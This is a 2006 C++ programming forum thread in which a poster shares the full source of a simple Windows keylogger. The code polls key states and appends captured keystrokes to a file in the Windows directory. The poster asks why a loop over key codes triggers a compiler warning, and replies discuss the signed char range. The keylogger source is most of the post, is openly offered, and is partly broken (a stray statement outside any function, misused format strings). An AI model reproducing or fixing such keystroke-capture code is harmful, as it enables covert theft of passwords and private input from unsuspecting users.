Help with fixing my source code

Please support our C++ advertiser: Programming Forums - DaniWeb Sister Site
Reply

Join Date: Sep 2005
Posts: 102
Reputation: Niklas is an unknown quantity at this point 
Solved Threads: 0
Niklas's Avatar
Niklas Niklas is offline Offline
Junior Poster

Help with fixing my source code

 
0
  #1
Sep 30th, 2006
Please note before reading this, this is a keylogger, no its not used for malicious purposes as it only runs with the programing prompt open and stops as soon as the program is exited. Just trying to show my computer teachers something, because he's an idiot who gets his lessons straight out of a text book I tried it up to the non-working line and the file worked fine except it would hog the processor, and when compiled would stop working, so there goes that solution lol. Anyways what am I doing wrong in that line. I checked at least 15 times to make sure I nested everything right but everything seems to be in check.

My problem however is the line highlighted in bold. Dev C++ 4.9.8.0 gives me a "[WARNING] comparison"


[PHP]#include <stdio.h>
#include <windows.h>
#include <Winuser.h>

cout <<"\n Your keys are now being saved to a file called Key.txt in your C:\ Windows Folder. As soon as you exit this program it wll stop logging your keys";


void keys(int key,char *file)
{

FILE *key_file;

key_file = fopen(file,"a+");



if (key==8)

fprintf(key_file,"%s","[del]");

if (key==13)

fprintf(key_file,"%s","\n");

if (key==32)

fprintf(key_file,"%s"," ");

if (key==VK_CAPITAL)

fprintf(key_file,"%s","[Caps]");

if (key==VK_TAB)

fprintf(key_file,"%s","[TAB]");

if (key ==VK_SHIFT)

fprintf(key_file,"%s","[SHIFT]");

if (key ==VK_CONTROL)

fprintf(key_file,"%s","[CTRL]");

if (key ==VK_PAUSE)

fprintf(key_file,"%s","[PAUSE]");

if (key ==VK_KANA)

fprintf(key_file,"%s","[Kana]");

if (key ==VK_ESCAPE)

fprintf(key_file,"%s","[ESC]");

if (key ==VK_END)

fprintf(key_file,"%s","[END]");

if (key==VK_HOME)

fprintf(key_file,"%s","[HOME]");

if (key ==VK_LEFT)

fprintf(key_file,"%s","");

if (key ==VK_UP)

fprintf(key_file,"%s","[UP]");

if (key ==VK_RIGHT)

fprintf(key_file,"%s","");

if (key ==VK_DOWN)

fprintf(key_file,"%s","[DOWN]");

if (key ==VK_SNAPSHOT)

fprintf(key_file,"%s","[PRINT]");

if (key ==VK_NUMLOCK)

fprintf(key_file,"%s","[NUM LOCK]");

if (key ==190 || key==110)

fprintf(key_file,"%s",".");

if (key >=96 && key <= 105){

key = key - 48;

fprintf(key_file,"%s",&key);

}

if (key >=48 && key <= 59)

fprintf(key_file,"%s",&key);



if (key !=VK_LBUTTON || key !=VK_RBUTTON){

if (key >=65 && key <=90){

if (GetKeyState(VK_CAPITAL))

fprintf(key_file,"%s",&key);
else

{

key = key +32;

fprintf(key_file,"%s",&key);

}
}

}

fclose(key_file);





}

int main()
{



char i;


char test[MAX_PATH];
GetWindowsDirectory(test,sizeof(test));
strcat(test,"//keys.txt");

while(1){

for(i=8;i<=190;i++){ //THIS IS WHERE MY COMPILER ERROR IS

if (GetAsyncKeyState(i) == -32767)

{


keys (i,test);



}
}

}

}[/PHP]
Last edited by Niklas; Sep 30th, 2006 at 12:25 am.
Reply With Quote Quick reply to this message  
Join Date: May 2006
Posts: 3,127
Reputation: WaltP has much to be proud of WaltP has much to be proud of WaltP has much to be proud of WaltP has much to be proud of WaltP has much to be proud of WaltP has much to be proud of WaltP has much to be proud of WaltP has much to be proud of WaltP has much to be proud of 
Solved Threads: 283
Moderator
WaltP's Avatar
WaltP WaltP is offline Offline
Posting Sensei

Re: Help with fixing my source code

 
2
  #2
Sep 30th, 2006
What's tha maximum value a signed char can handle?
The 3 Laws of the Procrastination Society:
1) Never do today that which can be put off until tomorrow
2) Tomorrow never comes
Reply With Quote Quick reply to this message  
Join Date: Jun 2006
Posts: 7,651
Reputation: ~s.o.s~ has much to be proud of ~s.o.s~ has much to be proud of ~s.o.s~ has much to be proud of ~s.o.s~ has much to be proud of ~s.o.s~ has much to be proud of ~s.o.s~ has much to be proud of ~s.o.s~ has much to be proud of ~s.o.s~ has much to be proud of ~s.o.s~ has much to be proud of 
Solved Threads: 474
Super Moderator
Featured Poster
~s.o.s~'s Avatar
~s.o.s~ ~s.o.s~ is offline Offline
Failure as a human

Re: Help with fixing my source code

 
0
  #3
Sep 30th, 2006
Yes Mr. WaltP is correct, when you declare a char it is automatically taken as signed char whose range it think is from -127 to 128 (not very sure).

Try declaring "i" as unsigned char and then try compiling it.
I don't accept change; I don't deserve to live.

Jo Tujhe Jagaaye, Nindein Teri Udaaye Khwaab Hai Sachcha Wahi.
Nindon Mein Jo Aaye Jise To Bhul Jaaye Khawab Woh Sachcha Nahi.
Khwaab Ko Raag De, Nind Ko Aag De
Reply With Quote Quick reply to this message  
Join Date: Jul 2006
Posts: 147
Reputation: Grunt has a spectacular aura about Grunt has a spectacular aura about 
Solved Threads: 12
Grunt's Avatar
Grunt Grunt is offline Offline
Junior Poster

Re: Help with fixing my source code

 
0
  #4
Oct 1st, 2006
Originally Posted by ~s.o.s~ View Post
when you declare a char it is automatically taken as signed char
That's machine dependent. It could be signed or unsigned.
The key to eliminating bugs from your code is learning from your mistakes.
Reply With Quote Quick reply to this message  
Join Date: Jun 2006
Posts: 7,651
Reputation: ~s.o.s~ has much to be proud of ~s.o.s~ has much to be proud of ~s.o.s~ has much to be proud of ~s.o.s~ has much to be proud of ~s.o.s~ has much to be proud of ~s.o.s~ has much to be proud of ~s.o.s~ has much to be proud of ~s.o.s~ has much to be proud of ~s.o.s~ has much to be proud of 
Solved Threads: 474
Super Moderator
Featured Poster
~s.o.s~'s Avatar
~s.o.s~ ~s.o.s~ is offline Offline
Failure as a human

Re: Help with fixing my source code

 
0
  #5
Oct 1st, 2006
Originally Posted by Grunt View Post
That's machine dependent. It could be signed or unsigned.
Hmm i thought it was compiler dependent...
but then again you might be right.
I don't accept change; I don't deserve to live.

Jo Tujhe Jagaaye, Nindein Teri Udaaye Khwaab Hai Sachcha Wahi.
Nindon Mein Jo Aaye Jise To Bhul Jaaye Khawab Woh Sachcha Nahi.
Khwaab Ko Raag De, Nind Ko Aag De
Reply With Quote Quick reply to this message  
Join Date: Aug 2008
Posts: 3
Reputation: SaShenka is an unknown quantity at this point 
Solved Threads: 0
SaShenka SaShenka is offline Offline
Newbie Poster

Re: Help with fixing my source code

 
0
  #6
Aug 28th, 2008
Originally Posted by ~s.o.s~ View Post
Hmm i thought it was compiler dependent...
but then again you might be right.





How does it differ when we say "compiler dependent" vs "machine dependent"?
Reply With Quote Quick reply to this message  
Join Date: Aug 2008
Posts: 3
Reputation: SaShenka is an unknown quantity at this point 
Solved Threads: 0
SaShenka SaShenka is offline Offline
Newbie Poster

Re: Help with fixing my source code

 
0
  #7
Aug 28th, 2008
Originally Posted by ~s.o.s~ View Post
Yes Mr. WaltP is correct, when you declare a char it is automatically taken as signed char whose range it think is from -127 to 128 (not very sure).

Try declaring "i" as unsigned char and then try compiling it.


I think the range is -128 to +127
Reply With Quote Quick reply to this message  
Join Date: Jul 2008
Posts: 338
Reputation: cikara21 is an unknown quantity at this point 
Solved Threads: 66
cikara21's Avatar
cikara21 cikara21 is offline Offline
Posting Whiz

Re: Help with fixing my source code

 
0
  #8
Aug 30th, 2008
it's out of range...
.:-cikara21-:.
Reply With Quote Quick reply to this message  
Reply

This thread is more than three months old.
Perhaps start a new thread instead?
Message:




Views: 1826 | Replies: 7
Thread Tools Search this Thread



Tag cloud for C++
About Us | Contact Us | Advertise | DaniWeb | Acceptable Use Policy | RSS Feed

©2003 - 2009 DaniWeb® LLC